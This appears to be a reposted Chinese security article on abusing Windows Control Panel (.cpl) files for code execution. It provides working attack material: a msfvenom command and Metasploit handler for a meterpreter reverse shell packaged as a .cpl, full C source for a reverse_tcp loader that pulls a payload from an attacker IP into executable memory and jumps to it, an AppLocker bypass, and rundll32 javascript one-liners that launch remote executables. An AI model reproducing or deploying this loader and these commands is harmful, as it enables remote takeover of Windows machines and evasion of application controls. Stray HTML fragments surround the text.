<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/16042

    0x00 前言


    最近在研究Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)的過程中接觸到了cpl文件,于是對其做了進一步研究,發現了一些有趣的細節,分享給大家。

    0x01 簡介


    CPL文件,是Windows控制面板擴展項,CPL全拼為Control Panel Item
    在系統安裝目錄的system32下面有一系列.cpl文件,它們分別對應著控制面板中的項目
    CPL文件本質是Windows可執行性文件,但不屬于可以直接獨立運行的文件,通常由shell32.dll打開

    0x02 制作CPL文件


    1、文件特點

    本質上是DLL文件,但有如下特點:

    2、打開方式

    (1) 雙擊直接運行

    (2) cmd下輸入rundll32 shell32.dll,Control_RunDLL <文件名>

    (3) cmd下輸入control <文件名>

    注:
    cmd下rundll32 shell32.dll,Control_RunDLL <文件名>等同于cmd下control <文件名>
    control.exe實質調用了rundll32.exe,通過control.exe執行cpl文件的進程為rundll32.exe

    (4) 通過腳本調用
    a、vbs

    #!shell
    Dim obj
    Set obj = CreateObject("Shell.Application")
    obj.ControlPanelItem("test.cpl")
    

    b、js

    #!javascript
    var a = new ActiveXObject("Shell.Application");
    a.ControlPanelItem("c:\\test\\test.cpl");
    

    3、使用vc 6.0制作標準cpl模板

    由文件特點可知,cpl本質就是一個dll文件
    所以我們可以在vc下創建一個dll的工程,并定義導出函數為CPlApplet

    #!c
    LRESULT APIENTRY CPlApplet
    (
        HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
        UINT    aUMsg_in,        // CPL message.
        LPARAM    aLParam1_in,    // First message parameter.
        LPARAM  aLParam2_in    // Second message parameter.
    ) 
    

    值得注意的是aUMsg_in里面定義了一些CPL相關的參數:

                       | Return            | Return
    CPL message        | if successfully   | if not successfully
    -------------------+-------------------+--------------------
    CPL_INIT           | nonzero           | zero
    CPL_GETCOUNT       | nonzero           | zero
    CPL_NEWINQUIRE     | zero              | nonzero
    CPL_SELECT         | zero              | nonzero
    CPL_DBLCLK         | zero              | nonzero
    CPL_STOP           | zero              | nonzero
    CPL_EXIT           | zero              | nonzero
    

    圖表來自http://www.codeproject.com/Articles/3026/Creating-a-Config-Panel-Applet

    CPL_INIT:
    進行全局初始化

    CPL_GETCOUNT:
    檢索應用程序支持的對話框的數目
    返回值:支持的對話框數目

    CPL_NEWINQUIRE:
    請求該應用程序支持的對話框的請求信息

    CPL_SELECT:
    設置當用戶選擇一個對話框時顯示的圖標

    CPL_DBLCLK:
    設置當用戶雙擊一個對話框時顯示的圖標

    CPL_STOP:
    控制面板關閉時向每個對話框發出的消息

    CPL_EXIT:
    釋放內存,退出

    以上僅對相關函數作簡要介紹,詳細說明可查msdn,提供一個可供參考的工程模板:
    http://www.vbforums.com/attachment.php?s=7ebc3a64c985f675615a3e9d0aa350e8&attachmentid=286&d=981822351

    注:
    函數注釋的語言為斯洛文尼亞語,但不影響我們的程序開發
    模板下載后可直接編譯出一個cpl文件,雙擊正常執行

    4、簡單粗暴的方式制作cpl文件

    新建一個標準dll工程,在DLL_PROCESS_ATTACH中添加payload 相關代碼之下:

    #!c
    #include "Windows.h"
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
            case DLL_PROCESS_ATTACH:
                WinExec("cmd", SW_SHOW);
            case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
    }
    

    編譯后生成的dll文件后綴名改為cpl即可

    如圖

    Alt text

    點擊后彈出cmd,但是退出后會彈框提示程序兼容性問題
    如果是管理員權限的cmd,運行的程序結束后就不會彈框
    (此問題的解決方法放在后面介紹)

    0x03 測試


    由以上內容可推斷只要將payload寫在DllMain()函數中,就可以直接修改dll后綴名為cpl,然后通過雙擊來運行
    所以自然而然的想到了測試一下meterpreter是否支持這種方式

    生成test.cpl:

    #!shell
    msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.127.132 lport=8888 -f dll -o test.cpl
    

    msf:

    #!shell
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.127.132
    set LPORT 8888
    exploit
    

    雙擊test.cpl后彈回meterpreter shell
    但是同樣在退出的時候會彈框提示程序兼容性助手

    0x04 解決問題


    1、正常dll執行后彈框

    經過測試發現,原有是因為vc6.0的版本低導致的程序兼容問題
    所以換在vs2008(或者更新的版本)下開發就不會存在這個問題

    如圖

    Alt text

    2、解決meterpreter彈框的問題

    這里不深入探究msfvenom的生成方式,解決方法為使用c++程序自己編寫一個meterpreter的reverse_tcp版本
    關鍵代碼:

    #!c
    #include "Windows.h"
    #include <WinSock2.h>
    #include <stdio.h>  
    
    #pragma comment(lib,"WS2_32.lib")   
    
    int reverse_tcp()
    {
        WSADATA wsData;
            if(WSAStartup(MAKEWORD(2,2),&wsData))
            {
                printf("WSAStartp fail.\n");
                return 0;
            } 
    
            SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
            SOCKADDR_IN server;
            ZeroMemory(&server,sizeof(SOCKADDR_IN));
            server.sin_family = AF_INET;
            server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
            server.sin_port = htons(8888); //server port
            if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
            {
                printf("connect to server fail.\n");
                closesocket(sock);
                WSACleanup();
                return 0;
            } 
    
            u_int payloadLen;
            if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
            {
                printf("recv error\n");
                closesocket(sock);
                WSACleanup();
                return 0;
            } 
    
            char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
            char* buffer = orig_buffer;
            int ret = 0;
            do 
            {
                ret = recv(sock,buffer,payloadLen,0);
                buffer += ret;
                payloadLen -= ret;
            } while (ret > 0 && payloadLen > 0);  
    
    
            __asm
            {
                mov edi,sock;   
                jmp orig_buffer; 
            } 
    
            VirtualFree(orig_buffer,0,MEM_RELEASE);   
    
    
    }   
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                          DWORD  ul_reason_for_call,
                          LPVOID lpReserved
                          )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            reverse_tcp();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    生成dll文件,后綴名改為cpl
    正常運行,正常退出

    0x05 Bypass Windows AppLocker


    之前介紹過《Bypass Windows AppLocker》
    開啟默認規則后會攔截exe和腳本的執行,那么cpl文件呢?
    當然可以繞過 Windows AppLocker的限制規則

    如圖

    Alt text

    0x06 rundll32


    補充一些rundll32調用js代碼的細節;

    執行遠程exe,會彈框攔截:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("\\\\127.0.0.1\\c$\\test\\test.exe")
    

    如圖

    Alt text

    解決方法:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\test.exe")
    

    如圖 Alt text

    執行本地cpl文件,會彈框提示無法識別文件后綴名:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("c:\\test\\cpl.cpl")
    

    如圖

    Alt text

    解決方法:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\test\\cpl.cpl",0,true)
    

    遺留問題:

    1、無法調用Shell.Application直接執行cpl文件:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new20%ActiveXObject("Shell.Application").ControlPanelItem("c:\\test\\cpl.cpl")
    

    2、無法遠程調用cpl文件

    無法識別文件后綴:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\cpl.cpl")
    

    彈框攔截遠程文件:

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl")
    

    and

    #!javascript
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl",0,true)
    

    如果你有解決辦法或是更好的思路,希望能夠分享,不勝感激。

    0x07 Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)


    下載鏈接:https://www.exploit-db.com/exploits/39805/

    將定制的快捷方式放于任意路徑,本地或是遠程,當用戶訪問此目錄的時候,就會執行payload
    演示的遠程路徑為: \\127.0.0.1\c$\test\poc(正常情況下訪問此目錄也會當作遠程目錄被沙盒攔截)

    poc演示如圖,訪問遠程目錄 \\127.0.0.1\c$\test\poc并繞過沙盒攔截,成功執行payload

    Alt text

    97av